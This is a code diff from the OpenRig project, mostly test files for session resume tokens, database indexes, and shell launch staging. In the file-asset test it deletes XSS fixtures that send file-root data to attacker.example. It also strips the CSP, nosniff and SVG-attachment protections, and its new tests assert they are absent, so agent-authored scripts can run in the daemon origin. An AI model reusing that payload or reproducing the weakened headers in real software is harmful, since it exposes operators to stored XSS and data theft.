if (kind === "ambiguous-process") f.rows.push({ ...f.rows[1]!, pid: 902 });
if (kind === "background-process") f.rows[1]!.pgid = 902;
const result = await f.teardown.teardown(f.rig.id);
expect(result.errors).toEqual([]);
expect(result.sessionsKilled).toBe(1);
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(oldId);
expect(f.probe).toHaveBeenCalledWith(f.name, oldId, root);
});
it.each(["operator", "hook"] as const)("does not replace a protected %s token", async (provenance) => {
const f = fixture(provenance);
await f.teardown.teardown(f.rig.id);
const session = registry.getSessionsForRig(f.rig.id)[0]!;
expect(session.resumeToken).toBe(oldId);
expect(session.resumeProvenance).toBe(provenance);
});
it("does not add process reads or change tokens on periodic fill-null refresh", async () => {
const f = fixture();
await f.refresher.refresh([{ sessionId: f.session.id, sessionName: f.name, runtime: "claude-code", resumeType: "claude_id", resumeToken: oldId }], { fillNullOnly: true });
expect(f.listClaudeProcesses).not.toHaveBeenCalled();
expect(f.probe).not.toHaveBeenCalled();
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(oldId);
});
});
@@ -643,30 +643,36 @@ describe("Claude Code runtime adapter", () => {
});
});
it("launchHarness captures resume token from session file", async () => {
it.each<[string, string[]]>([
["the only same-name file matches", ["assigned.json"]],
["another same-name seat is first", ["other.json", "assigned.json"]],
["only another same-name seat has written its file", ["other.json"]],
])("fresh launch retains its assigned ID when %s", async (_case, files) => {
const tmux = mockTmux();
const sessionData = JSON.stringify({ pid: 12345, sessionId: "abc-session-id", name: "dev-impl@test-rig" });
const assignedId = "11111111-1111-4111-8111-111111111111";
const otherId = "22222222-2222-4222-8222-222222222222";
const sessionData: Record<string, string> = {
"assigned.json": JSON.stringify({ pid: 12345, sessionId: assignedId, name: "dev-impl@test-rig" }),
"other.json": JSON.stringify({ pid: 67890, sessionId: otherId, name: "dev-impl@test-rig" }),
};
const fs = mockFs({});
// Add readdir + homedir capabilities
const fsWithDir = {
...fs,
readdir: (dir: string) => dir.includes("sessions") ? ["12345.json"] : [],
readdir: (dir: string) => dir.includes("sessions") ? files : [],
homedir: "/mock-home",
readFile: (p: string) => {
if (p.includes("12345.json")) return sessionData;
const data = sessionData[nodePath.basename(p)];
if (data) return data;
return fs.readFile(p);
},
exists: (p: string) => p.includes("sessions") || fs.exists(p),
};
const adapter = new ClaudeCodeAdapter({ tmux, fsOps: fsWithDir });
const adapter = new ClaudeCodeAdapter({ tmux, fsOps: fsWithDir, sessionIdFactory: () => assignedId });
const result = await adapter.launchHarness(makeBinding(), { name: "dev-impl@test-rig" });
expect(result.ok).toBe(true);
if (result.ok) {
expect(result.resumeToken).toBe("abc-session-id");
expect(result.resumeType).toBe("claude_id");
}
expect(tmux.sendText).toHaveBeenCalledWith("r01-impl", expect.stringContaining(`--session-id ${assignedId}`));
expect(result).toMatchObject({ ok: true, resumeToken: assignedId, resumeType: "claude_id" });
});
it("launchHarness returns error when no tmux session bound", async () => {
@@ -1,186 +1,106 @@
// Security regression tests: Stored XSS via /api/files/asset (CWE-79)
//
// These tests verify that the /api/files/asset endpoint returns proper
// security headers for active content types (text/html, image/svg+xml)
// to prevent stored XSS when agent-authored files are previewed by the
// operator through the dashboard.
// Explicit previews retain their content type and scripts; ordinary HTML reads stay text.
import { describe, it, expect, beforeEach, afterEach } from "vitest";
import { Hono } from "hono";
import { mkdtempSync, rmSync, writeFileSync, realpathSync } from "node:fs";
import { mkdtempSync, rmSync, writeFileSync, realpathSync, symlinkSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { filesRoutes, assetSecurityHeaders } from "../src/routes/files.js";
import { filesRoutes } from "../src/routes/files.js";
// ─── Unit tests for assetSecurityHeaders ──────────────────────────────
const html = '<!doctype html><p id="preview">waiting</p><script>document.getElementById("preview").textContent="ready";</script>';
const script = 'document.getElementById("preview").textContent="ready";';
const svg = '<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><circle cx="50" cy="50" r="40" fill="red"/></svg>';
describe("assetSecurityHeaders", () => {
it("returns X-Content-Type-Options: nosniff for all content types", () => {
const cases = [
"image/png",
"text/plain; charset=utf-8",
"application/json; charset=utf-8",
"application/octet-stream",
];
for (const ct of cases) {
const headers = assetSecurityHeaders(ct, "/tmp/test.png");
expect(headers["X-Content-Type-Options"]).toBe("nosniff");
}
});
it("returns strict CSP + X-Frame-Options for text/html", () => {
const headers = assetSecurityHeaders("text/html; charset=utf-8", "/tmp/mockup.html");
expect(headers["Content-Security-Policy"]).toBeDefined();
expect(headers["Content-Security-Policy"]).toContain("default-src 'none'");
// script-src is NOT present — scripts are blocked by default-src 'none'
expect(headers["Content-Security-Policy"]).not.toContain("script-src");
// frame-ancestors prevents clickjacking
expect(headers["Content-Security-Policy"]).toContain("frame-ancestors 'none'");
expect(headers["X-Frame-Options"]).toBe("DENY");
});
it("returns Content-Disposition: attachment for SVG to prevent script execution", () => {
const headers = assetSecurityHeaders("image/svg+xml", "/workspace/diagram.svg");
expect(headers["Content-Disposition"]).toBe("attachment; filename*=UTF-8''diagram.svg");
});
it("encodes unicode SVG filenames with RFC 5987 so CJK/emoji names work", () => {
const headers = assetSecurityHeaders("image/svg+xml", "/workspace/图表.svg");
expect(headers["Content-Disposition"]).toContain("attachment");
expect(headers["Content-Disposition"]).toContain("filename*=UTF-8''");
// Verify the unicode is percent-encoded, not raw
expect(headers["Content-Disposition"]).not.toContain("图表");
expect(headers["Content-Disposition"]).toContain(encodeURIComponent("图表.svg"));
});
it("does NOT return Content-Disposition for non-SVG images", () => {
const headers = assetSecurityHeaders("image/png", "/workspace/photo.png");
expect(headers["Content-Disposition"]).toBeUndefined();
});
it("does NOT return CSP for non-HTML text types", () => {
const headers = assetSecurityHeaders("text/plain; charset=utf-8", "/workspace/readme.md");
expect(headers["Content-Security-Policy"]).toBeUndefined();
expect(headers["X-Frame-Options"]).toBeUndefined();
});
});
// ─── Integration tests against the asset route ────────────────────────
describe("GET /api/files/asset — security headers", () => {
describe("GET /api/files/asset — previews and retained boundaries", () => {
let root: string;
let outside: string;
let app: Hono;
beforeEach(() => {
root = mkdtempSync(join(tmpdir(), "openrig-xss-test-"));
// Create test files that would be attack vectors without the fix
writeFileSync(
join(root, "xss-payload.html"),
`<!DOCTYPE html>
<html>
<body>
<h1>XSS Test</h1>
<script>
// This script would execute in the daemon's origin without CSP
fetch('/api/files/roots').then(r => r.json()).then(data => {
new Image().src = 'https://attacker.example/steal?' + JSON.stringify(data);
});
</script>
</body>
</html>`,
);
writeFileSync(
join(root, "xss-payload.svg"),
`<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<script type="text/javascript">
fetch('/api/files/roots').then(r => r.json()).then(data => {
new Image().src = 'https://attacker.example/steal?' + JSON.stringify(data);
});
</script>
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>`,
);
writeFileSync(join(root, "safe-image.png"), Buffer.from([0x89, 0x50, 0x4e, 0x47]));
// Wire the route exactly like the existing tests do (files-asset-range.test.ts)
const allowlist = [{ name: "ws", canonicalPath: realpathSync(root) }];
root = mkdtempSync(join(tmpdir(), "asset-preview-"));
outside = mkdtempSync(join(tmpdir(), "asset-outside-"));
writeFileSync(join(root, "mock.html"), html);
writeFileSync(join(root, "preview.js"), script);
writeFileSync(join(root, "diagram.svg"), svg);
writeFileSync(join(root, "图表.svg"), svg);
writeFileSync(join(root, "sample.png"), Buffer.from([0x89, 0x50, 0x4e, 0x47]));
writeFileSync(join(outside, "other.html"), "outside");
symlinkSync(join(outside, "other.html"), join(root, "link.html"));
app = new Hono();
app.use("*", async (c, next) => {
c.set("filesAllowlist" as never, allowlist);
c.set("filesAllowlist" as never, [{ name: "ws", canonicalPath: realpathSync(root) }]);
c.set("fileWriteService" as never, null);
await next();
});
app.route("/api/files", filesRoutes());
});
afterEach(() => rmSync(root, { recursive: true, force: true }));
afterEach(() => { rmSync(root, { recursive: true, force: true }); rmSync(outside, { recursive: true, force: true }); });
const url = (p: string, extra = "") => `/api/files/asset?root=ws&path=${encodeURIComponent(p)}${extra}`;
it("serves HTML with render=1 and includes strict CSP that blocks scripts", async () => {
const res = await app.request(url("xss-payload.html", "&render=1"));
it("restores explicit HTML preview without a script or frame restriction", async () => {
const res = await app.request(url("mock.html", "&render=1"));
expect(res.status).toBe(200);
expect(res.headers.get("Content-Type")).toBe("text/html; charset=utf-8");
// CSP MUST be present and MUST block scripts
const csp = res.headers.get("Content-Security-Policy");
expect(csp).toBeDefined();
expect(csp).toContain("default-src 'none'");
// Verify no script-src directive (scripts blocked by default-src 'none')
expect(csp).not.toContain("script-src");
// nosniff must be present
expect(res.headers.get("X-Content-Type-Options")).toBe("nosniff");
// X-Frame-Options prevents embedding in iframes
expect(res.headers.get("X-Frame-Options")).toBe("DENY");
expect(res.headers.get("Content-Security-Policy")).toBeNull();
expect(res.headers.get("X-Frame-Options")).toBeNull();
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
expect(await res.text()).toBe(html);
});
it("serves SVG with Content-Disposition: attachment to prevent script execution", async () => {
const res = await app.request(url("xss-payload.svg"));
it.each(["diagram.svg", "图表.svg"])("restores direct inline SVG preview for %s", async (file) => {
const res = await app.request(url(file));
expect(res.status).toBe(200);
expect(res.headers.get("Content-Type")).toBe("image/svg+xml");
// Content-Disposition: attachment forces download instead of rendering
const disposition = res.headers.get("Content-Disposition");
expect(disposition).toBeDefined();
expect(disposition).toContain("attachment");
expect(disposition).toContain("filename*=UTF-8''");
// nosniff must be present
expect(res.headers.get("X-Content-Type-Options")).toBe("nosniff");
expect(res.headers.get("Content-Disposition")).toBeNull();
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
expect(await res.text()).toBe(svg);
});
it("includes nosniff on safe content types too", async () => {
const res = await app.request(url("safe-image.png"));
it.each(["", "&render=0"])("keeps default HTML as text/plain (%s)", async (extra) => {
const res = await app.request(url("mock.html", extra));
expect(res.status).toBe(200);
expect(res.headers.get("X-Content-Type-Options")).toBe("nosniff");
// No CSP needed for images
expect(res.headers.get("Content-Security-Policy")).toBeNull();
});
it("includes security headers on Range (206) responses too", async () => {
const res = await app.request(
url("xss-payload.html", "&render=1"),
{ headers: { Range: "bytes=0-50" } },
);
expect(res.status).toBe(206);
// CSP must be present even on partial content
const csp = res.headers.get("Content-Security-Policy");
expect(csp).toBeDefined();
expect(csp).toContain("default-src 'none'");
expect(res.headers.get("X-Content-Type-Options")).toBe("nosniff");
});
it("does NOT serve HTML as text/html without render=1 opt-in", async () => {
const res = await app.request(url("xss-payload.html"));
expect(res.status).toBe(200);
// Without render=1, HTML is served as text/plain (safe)
expect(res.headers.get("Content-Type")).toBe("text/plain; charset=utf-8");
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
expect(await res.text()).toBe(html);
});
it.each([false, true])("serves a script asset without nosniff (partial=%s)", async (partial) => {
const res = await app.request(url("preview.js"), partial ? { headers: { Range: "bytes=0-7" } } : {});
expect(res.status).toBe(partial ? 206 : 200);
expect(res.headers.get("Content-Type")).toBe("text/plain; charset=utf-8");
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
expect(await res.text()).toBe(partial ? script.slice(0, 8) : script);
if (partial) {
expect(res.headers.get("Content-Range")).toBe(`bytes 0-7/${Buffer.byteLength(script)}`);
expect(res.headers.get("Content-Length")).toBe("8");
}
});
it("retains the exact byte range for explicit previews without nosniff", async () => {
const res = await app.request(url("mock.html", "&render=1"), { headers: { Range: "bytes=0-14" } });
expect(res.status).toBe(206);
expect(res.headers.get("Content-Type")).toBe("text/html; charset=utf-8");
expect(res.headers.get("Content-Range")).toBe(`bytes 0-14/${Buffer.byteLength(html)}`);
expect(res.headers.get("Content-Length")).toBe("15");
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
expect(res.headers.get("Content-Security-Policy")).toBeNull();
expect(await res.text()).toBe(html.slice(0, 15));
});
it("retains content type for other assets without nosniff", async () => {
const res = await app.request(url("sample.png", "&render=1"));
expect(res.headers.get("Content-Type")).toBe("image/png");
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
expect(new Uint8Array(await res.arrayBuffer())).toEqual(new Uint8Array([0x89, 0x50, 0x4e, 0x47]));
});
it.each(["../other.html", "/etc/passwd", "link.html"])("retains path containment for %s", async (file) => {
const res = await app.request(url(file, "&render=1"));
expect(res.status).toBe(400);
expect(await res.text()).not.toBe("outside");
});
it("retains the root allowlist", async () => {
const res = await app.request("/api/files/asset?root=unknown&path=mock.html&render=1");
expect(res.status).toBe(400);
expect((await res.json()).error).toBe("root_unknown");
});
});
@@ -3,6 +3,7 @@ import type Database from "better-sqlite3";
import { createDb } from "../src/db/connection.js";
import { migrate } from "../src/db/migrate.js";
import { ALL_MIGRATIONS } from "../src/db/all-migrations.js";
import { eventsNodeTypeIndexSchema } from "../src/db/migrations/047_events_node_type_index.js";
import { inventoryEventIndexesSchema } from "../src/db/migrations/084_inventory_event_indexes.js";
import { getNodeInventory, getNodeInventoryForRigs } from "../src/domain/node-inventory.js";
@@ -63,10 +64,30 @@ function expectIndexed(db: Database.Database) {
const restore = plans.filter(p => p.sql.includes("restore.outcome_reconciled"));
expect(restore.find(p => !p.args.length)?.detail).toContain("idx_events_restore_seq");
expect(restore.find(p => p.args.length)?.detail).toContain("idx_events_restore_rig_seq");
// Attempt binding must not reintroduce a scan of unrelated activity events.
expect(restore).toHaveLength(2); // Fleet and selected-rig reads.
for (const plan of restore) {
expect(plan.detail).toContain("idx_events_node_type_seq (node_id=? AND type=?)");
expect(plan.detail).not.toContain("idx_events_rig_seq");
}
expect(plans.find(p => p.sql.includes("node.startup_challenged"))?.detail).toContain("idx_events_startup_node_seq");
}
describe("084 inventory event read indexes", () => {
it("preserves rig and fleet inventory when the optional node/type index is absent", () => {
const db = database();
migrate(db, THROUGH.filter(m => m.name !== eventsNodeTypeIndexSchema.name));
seed(db);
expect(db.prepare("SELECT name FROM sqlite_master WHERE name = 'idx_events_node_type_seq'").get()).toBeUndefined();
const value = projection(db), history = rows(db);
expect(value.selected[0]?.restoreOutcome).toBe("operator_recovered");
expect(value.all).toHaveLength(2);
migrate(db, [eventsNodeTypeIndexSchema]);
expectIndexed(db);
expect(projection(db)).toEqual(value);
expect(rows(db)).toEqual(history);
});
it("upgrades the actual read plans without changing history, membership or newest-event meaning", () => {
const db = database(); migrate(db, BEFORE); seed(db);
const value = projection(db), history = rows(db);
@@ -24,6 +24,7 @@ const modes = [
"launcher-shim-match", "launcher-shim-match-after", "launcher-shim-child-differs",
"launcher-shim-child-differs-after", "launcher-shim-child-unparsed",
"launcher-shim-shims-differ", "launcher-shim-child-two-sessions", "settings-single",
"effort-separated", "effort-equals", "unknown-value-flag",
];
// The real process behind a spawning shim carries its own argv.
const shimChild: Record<string, string> = {
@@ -60,6 +61,12 @@ it.each(modes)("selector and ordinary transport: %s", async (mode) => {
command: `${executable} --permission-mode auto ${mode === "settings-single" ? "--settings /fixture/settings.json " : ""}${mode === "missing-token" ? "" : `--session-id ${mode.startsWith("wrong-token") || mode === "launcher-shim-shims-differ" ? "different" : token}`} --name ${name}`, startedAt },
]),
];
const extraFlag: Record<string, string> = {
"effort-separated": "--effort high",
"effort-equals": "--effort=high",
"unknown-value-flag": "--unrecognised-flag high",
};
if (extraFlag[mode]) rows[2]!.command += ` ${extraFlag[mode]}`;
// The shell still owns the terminal; these children are in background groups.
if (mode === "bare-shell-helper" || mode === "bare-shell-job") {
rows.push({ pid: 103, ppid: 100, pgid: 103, tpgid: 100,
@@ -123,6 +130,7 @@ it.each(modes)("selector and ordinary transport: %s", async (mode) => {
"launcher-shim-match", "launcher-shim-match-after", "launcher-shim-child-unparsed",
"launcher-shim-child-two-sessions", "settings-single",
"wrong-token", "wrong-token-post-read-error", "wrong-token-post-read-empty", "launcher-shim-shims-differ",
"effort-separated", "effort-equals", "unknown-value-flag",
].includes(mode);
if (bare) expect({ ok: sent.ok, calls }).toEqual({ ok: false, calls: [] });
expect(sent.ok).toBe(expectedSend);
@@ -131,8 +139,9 @@ it.each(modes)("selector and ordinary transport: %s", async (mode) => {
expect(observation !== null).toBe([
"npm-name", "versioned", "pane-command-unavailable", "versioned-direct-pane", "missing-metadata",
"ambiguous-pane", "changed-binding", "onboarding", "changed-after-paste",
"effort-separated", "effort-equals",
].includes(mode));
if (expectedSend && ["unavailable", "unknown-both", "missing-token", "missing-metadata", "background", "other-semver", "versioned-argv-only", "versioned-comm-only", "launcher-shim", "launcher-shim-child-unparsed", "launcher-shim-child-two-sessions"].includes(mode)) {
if (expectedSend && ["unavailable", "unknown-both", "missing-token", "missing-metadata", "background", "other-semver", "versioned-argv-only", "versioned-comm-only", "launcher-shim", "launcher-shim-child-unparsed", "launcher-shim-child-two-sessions", "unknown-value-flag"].includes(mode)) {
expect(sent.warning).toContain("without verified native identity");
}
// Static launch tokens alone cannot prove a different current recipient after
@@ -142,6 +151,7 @@ it.each(modes)("selector and ordinary transport: %s", async (mode) => {
}
// --settings is delivery-only: the strict selector above still rejects it (observation === null).
if (mode.startsWith("launcher-shim-match") || mode === "settings-single") expect(sent.warning ?? "").not.toContain("without verified native identity");
if (mode.startsWith("effort-")) expect(sent.warning ?? "").not.toContain("without verified native identity");
if (mode.startsWith("launcher-shim-child-differs")) expect(sent.error).toContain("name different conversations");
if (mode === "launcher-shim-mixed-token") expect(sent.error).toContain("name different conversations");
// Two children of one shim are two runtimes, not a chain.
@@ -1,4 +1,9 @@
import { describe, it, expect, vi } from "vitest";
import { execFileSync } from "node:child_process";
import { mkdtempSync, rmSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { shellQuote } from "../src/adapters/shell-quote.js";
import { TmuxAdapter, type TmuxFileOps } from "../src/adapters/tmux.js";
function fixture(fail?: string, scriptPath = "/tmp/launch 'quoted'.sh") {
@@ -21,7 +26,83 @@ function fixture(fail?: string, scriptPath = "/tmp/launch 'quoted'.sh") {
}
describe("shell launch transport", () => {
it.each(["fish", "nu", "unknown", "pwsh", null])("retains /bin/sh staging when the pane reports %s", async shell => {
it.each(["fish", "-fish"])("selects fish sourcing or the older-fish sh fallback before launching (%s)", async shell => {
const f = fixture();
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue(shell);
const command = `OPENRIG_HOME='/instance' PATH='/rig/bin':"$PATH" claude --model '${"m".repeat(4096)}'`;
expect(await f.adapter.sendShellCommand("pane", command, undefined, { sourceInPane: true })).toEqual({ ok: true });
const invocation = vi.mocked(f.fileOps.writeFile).mock.calls[1]![1];
const quotedPath = shellQuote(f.scriptPath);
expect(invocation).toBe(`if eval 'OPENRIG_FISH_ASSIGNMENT_PROBE=1 /bin/sh -c :'; source ${quotedPath}; else; /bin/sh ${quotedPath}; end`);
expect(Buffer.byteLength(invocation)).toBeLessThan(512);
expect(f.files.get(f.scriptPath)).toBe(`/bin/rm -f -- '/tmp/launch '\"'\"'quoted'\"'\"'.sh'\n${command}\n`);
expect(f.commands.at(-1)).toBe("tmux send-keys -t 'pane' 'Enter'");
});
it("uses only the existing sh dependency for the fish capability probe", async () => {
const f = fixture();
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
const invocation = vi.mocked(f.fileOps.writeFile).mock.calls[1]![1];
const probe = invocation.match(/^if eval '([^']+)';/)?.[1];
expect(probe).toBe("OPENRIG_FISH_ASSIGNMENT_PROBE=1 /bin/sh -c :");
expect(execFileSync("/bin/sh", ["-c", probe!], { encoding: "utf8" })).toBe("");
});
it.each([214, 215])("respects the input bound at a %i-byte quoted fish staging path", async quotedBytes => {
const f = fixture(undefined, "/tmp/" + "p".repeat(quotedBytes - 7));
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
expect(Buffer.byteLength(shellQuote(f.scriptPath))).toBe(quotedBytes);
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
const invocation = vi.mocked(f.fileOps.writeFile).mock.calls[1]![1];
if (quotedBytes === 214) {
expect(invocation).toContain("OPENRIG_FISH_ASSIGNMENT_PROBE=1 /bin/sh -c :");
expect(Buffer.byteLength(invocation)).toBe(512);
} else {
expect(invocation).toBe(`/bin/sh ${shellQuote(f.scriptPath)}`);
expect(Buffer.byteLength(invocation)).toBeLessThan(512);
}
});
it.each(["pair\\\\backslashes", "trailing\\", "quote\\'backslash"])("keeps a backslash payload on sh without changing its value (%s)", async value => {
const root = mkdtempSync(join(tmpdir(), "fish-staging-"));
try {
const f = fixture(undefined, join(root, "launch.sh"));
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
const command = `VALUE=${shellQuote(value)} /bin/sh -c 'printf %s "$VALUE"'`;
expect(await f.adapter.sendShellCommand("pane", command, undefined, { sourceInPane: true })).toEqual({ ok: true });
expect(vi.mocked(f.fileOps.writeFile).mock.calls[1]![1]).toBe(`/bin/sh ${shellQuote(f.scriptPath)}`);
// Execute the selected POSIX payload with a real shell, not a quoting model.
expect(execFileSync("/bin/sh", ["-c", f.files.get(f.scriptPath)!], { encoding: "utf8" })).toBe(value);
} finally { rmSync(root, { recursive: true, force: true }); }
});
it("keeps the existing sh invocation for a backslash staging path", async () => {
const f = fixture(undefined, "/tmp/launch\\\\tail\\");
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
expect(vi.mocked(f.fileOps.writeFile).mock.calls[1]![1]).toBe(`/bin/sh ${shellQuote(f.scriptPath)}`);
expect(f.files.get(f.scriptPath)).toBe(`/bin/rm -f -- ${shellQuote(f.scriptPath)}\nclaude\n`);
});
it("keeps the short sh invocation when fish fallback syntax would exceed the input bound", async () => {
const f = fixture(undefined, "/tmp/" + "p".repeat(240));
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
const invocation = vi.mocked(f.fileOps.writeFile).mock.calls[1]![1];
expect(invocation).toBe(`/bin/sh ${shellQuote(f.scriptPath)}`);
expect(Buffer.byteLength(invocation)).toBeLessThan(512);
});
it("keeps ordinary staging unchanged in fish without sourceInPane", async () => {
const f = fixture();
const paneCommand = vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue("fish");
expect(await f.adapter.sendShellCommand("pane", "codex")).toEqual({ ok: true });
expect(paneCommand).not.toHaveBeenCalled();
expect(vi.mocked(f.fileOps.writeFile).mock.calls[1]![1]).toBe(`/bin/sh '/tmp/launch '\"'\"'quoted'\"'\"'.sh'`);
});
it.each(["nu", "unknown", "pwsh", null])("retains /bin/sh staging when the pane reports %s", async shell => {
const f = fixture();
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue(shell);
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
@@ -34,7 +115,7 @@ describe("shell launch transport", () => {
expect(vi.mocked(f.fileOps.writeFile).mock.calls[1]![1]).toBe(`/bin/sh '/tmp/launch '\"'\"'quoted'\"'\"'.sh'`);
});
it.each(["bash", "zsh", "sh", "dash", "ksh", "-bash"])("sources in the pane only for a reported POSIX shell (%s)", async shell => {
it.each(["bash", "zsh", "sh", "dash", "ksh", "-bash"])("retains subshell sourcing for a reported POSIX shell (%s)", async shell => {
const f = fixture();
vi.spyOn(f.adapter, "getPaneCommand").mockResolvedValue(shell);
expect(await f.adapter.sendShellCommand("pane", "claude", undefined, { sourceInPane: true })).toEqual({ ok: true });
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "@openrig/ui",
"version": "0.6.3",
"version": "0.6.5",
"private": true,
"license": "Apache-2.0",
"type": "module",
@@ -7,7 +7,7 @@
// video → inline <video playsinline preload="metadata"> via /api/files/asset
// folder → ArtifactsNavigator scoped to the folder (OPENRIG_FILES_ALLOWLIST-governed)
// .html → rendered page in a NEW TAB via ?render=1 (the named net-new opt-in;
// served with a script-free CSP)
// supports scripted mockups in the daemon origin)
// Dead code (ProofImageViewer / TestsVerificationTab viewer / DocsTab) stays dead.
import { useState } from "react";
+7 -7
View File
@@ -58,19 +58,19 @@
"agent-operated-software/SKILL.md": "9159d26e7884bc5205f8b06adaa65625c7d9c6bef41dc2f307d91da4cc1b424b",
"agent-operated-workflows/SKILL.md": "24e54cbfa979999f523516112670618b2926ae5d42c7aa0846c94db214857ea5",
"applying-a-permission-policy/SKILL.md": "e8dbd8eec75847bfd382fb06de408c63807171d584237d1b1d7e1104c7ed4acc",
"claude-compaction-restore/SKILL.md": "36c9818a57cc6c092b23376e5e21b9776c8f414b886895b59bb1bde339b6d646",
"claude-compaction-restore/SKILL.md": "a5148027d1b07cbcbb860a468191b8dbaee4d19469f76091c7306561667493f7",
"claude-compaction-restore/reference/SKILL-v1.md": "6af2a889c9c38227fb186897c6e29185f81b215822070b469a6ceeb47734e133",
"claude-compaction-restore/scripts/precompact-hook.mjs": "8eb4cccdaec654fca9eacba3676b0418d2bac383649ce31544434c73af8b8772",
"claude-compaction-restore/scripts/restore-from-jsonl.mjs": "5584cff4ab36cd843e14c81bd201e4a2f8e498e995abacc4f81ec6c1fc556b10",
"claude-compaction-restore/templates/compact-instruction.md": "682c778464517b831902ddc2678c055545899b4751a1d32391ce965d5eb7061d",
"claude-compaction-restore/templates/post-compact-restore-instruction.md": "10a5a7e5e052f3aa000a4209f386dc4eb90a3c2bba449ca685f124714f59e47a",
"delegating-work/SKILL.md": "54c061d1b28435266952d431765b40f4170581279decfffd3b10839848cd65e4",
"forming-an-openrig-mental-model/SKILL.md": "6e9f16191a56f87060326897d98cb3f83f00997799bc654dccc371798306d133",
"forming-an-openrig-mental-model/SKILL.md": "3765c0c918988cc13d90e8a6bc91c7f5019fb5532f8c7030bd6d56172f5853ff",
"loading-addressable-markdown/SKILL.md": "104dc6a02ae6e2d0eff519387c6839cb09803945b9ee35ec3498af8feaaa8d1e",
"loading-addressable-markdown/scripts/resolve-markdown.mjs": "61a6d52c6c94fb1878361d19bdfaeb4524062fc4c483f557ab2f140e516d15f9",
"messaging-the-human/SKILL.md": "581372434f27b1994d516e144be1324c7c5981cacf64fef6f09d1a57017faa08",
"mission-slice-sop/SKILL.md": "2cdc12b398f6d0fc05361791ec36066c44f1abd0137afd1f4f11a88b37bcc767",
"openrig-operating-model/SKILL.md": "53ec4d9c7764f5bc23616885d193b79ddb1be139fd010f4b89f143d39dfdcaa6",
"openrig-operating-model/SKILL.md": "8364530a6199f6e2df42b773c35434cb4ecade0ede48e439cd9fc03df4469896",
"openrig-operating-model/scripts/compose.py": "f71065de92b1ef4ce3ca78a8bc0cfe07bcf54ed84bb8ec5359d3889674fe385d",
"openrig-operating-model/scripts/scaffold.sh": "873fc78d8581e463079db24cfbdef3228b845c1a4c32e0d631234eacb3094be7",
"openrig-operating-model/scripts/trace-due.sh": "c56a8b044e624f40972654bc810df623e70303cc5daa4aa06e3ee86b262b7792",
@@ -82,11 +82,11 @@
"openrig-operating-model/templates/SOP.md": "1eaf0daf4f9bbf0715e6a5aaf0f29f030af5fe8b8a10232488ee97c507afa6dc",
"openrig-operating-model/templates/SPEC.md": "f126536daa59cea3f1cfb0898d83c7cdf99f6392f6f155ea64fe55187dd0f5f1",
"openrig-skills/SKILL.md": "e5f47e24a4c3cb1afceb1a3a93647313e9c30830aff58faabb5fa57838d1206c",
"openrig-user/SKILL.md": "30c0f35ff66c4d4b79557c716f94caa6674c3271e4ac13c233ef36619f8a3bda",
"openrig-user/SKILL.md": "b866b2f7fbff98089aeeac33868566b9c8a49f0de0a1d414a8cc73222085a6fd",
"orienting-to-an-inherited-seat/CHANGELOG.md": "4d0970e75e5c15b00a48d6a7150376d646257777264fd1b9a191165a8d5a6e84",
"orienting-to-an-inherited-seat/SKILL.md": "1721dfb2e66c4f1775b4d5d9a5c12340baa8042c4d26f999f85008f9a186baf3",
"orienting-to-an-inherited-seat/SKILL.md": "65300ce0e299cce0148a8bacd51b0475ac1b59cd77a51a9bb2db9d43bda6e208",
"queue-handoff/SKILL.md": "d4d7e3e8772886b3771daffd60523b5f79040309b892c8be1afd47d1f7287f7b",
"refocusing/SKILL.md": "506fe68da3f127f51aeffdaec1b8859080563395585343e4a211b61328f1fab5",
"refocusing/SKILL.md": "9f5b903b26430f60334b6dcaf66009df195c67ecf825437d1883d2a06a90d790",
"refocusing/references/refocus.md": "6e71513e82bd815e1506b0be4f9a972eecd3053a8deb06340c10b1d1792489bc",
"refocusing/scripts/trace-to-root.py": "c07f70c58e95cdcf3e80f64ee692174303256b1911fdb60cafa2eed67c3599e6",
"retiring-and-inheriting-a-seat/CHANGELOG.md": "1756a0a6dadc015e2744b4c39a3e7cd08813d9d421e788e953ac5ad75b064197",
@@ -95,7 +95,7 @@
"seat-continuity-and-handover/references/apprentice-evidence-toolkit.md": "a50bd7a3107762dbb6accd5d2fb7e058b408b85b09067ac79a7a8af6212234fd",
"seat-continuity-and-handover/references/apprentice-successor-seat-cutover.md": "0c865b76c9b0908373d3cf17439ef31b08e20a769c1cef1bea2403d963887840",
"seat-continuity-and-handover/references/orchestrator-role.md": "2ddf05125e0bf22e2dc64cb328fcc4bd94fa62eb2fcfd21d75f21c488c72ecaa",
"session-compaction-and-restore/SKILL.md": "36a637b1520ff4b0a3ff2594eb4ba93340ff6794692323e95d188981aa007ab4",
"session-compaction-and-restore/SKILL.md": "6218ebe601901fc19c3b40a6c29d57c304c82984825595f74b19120754839b63",
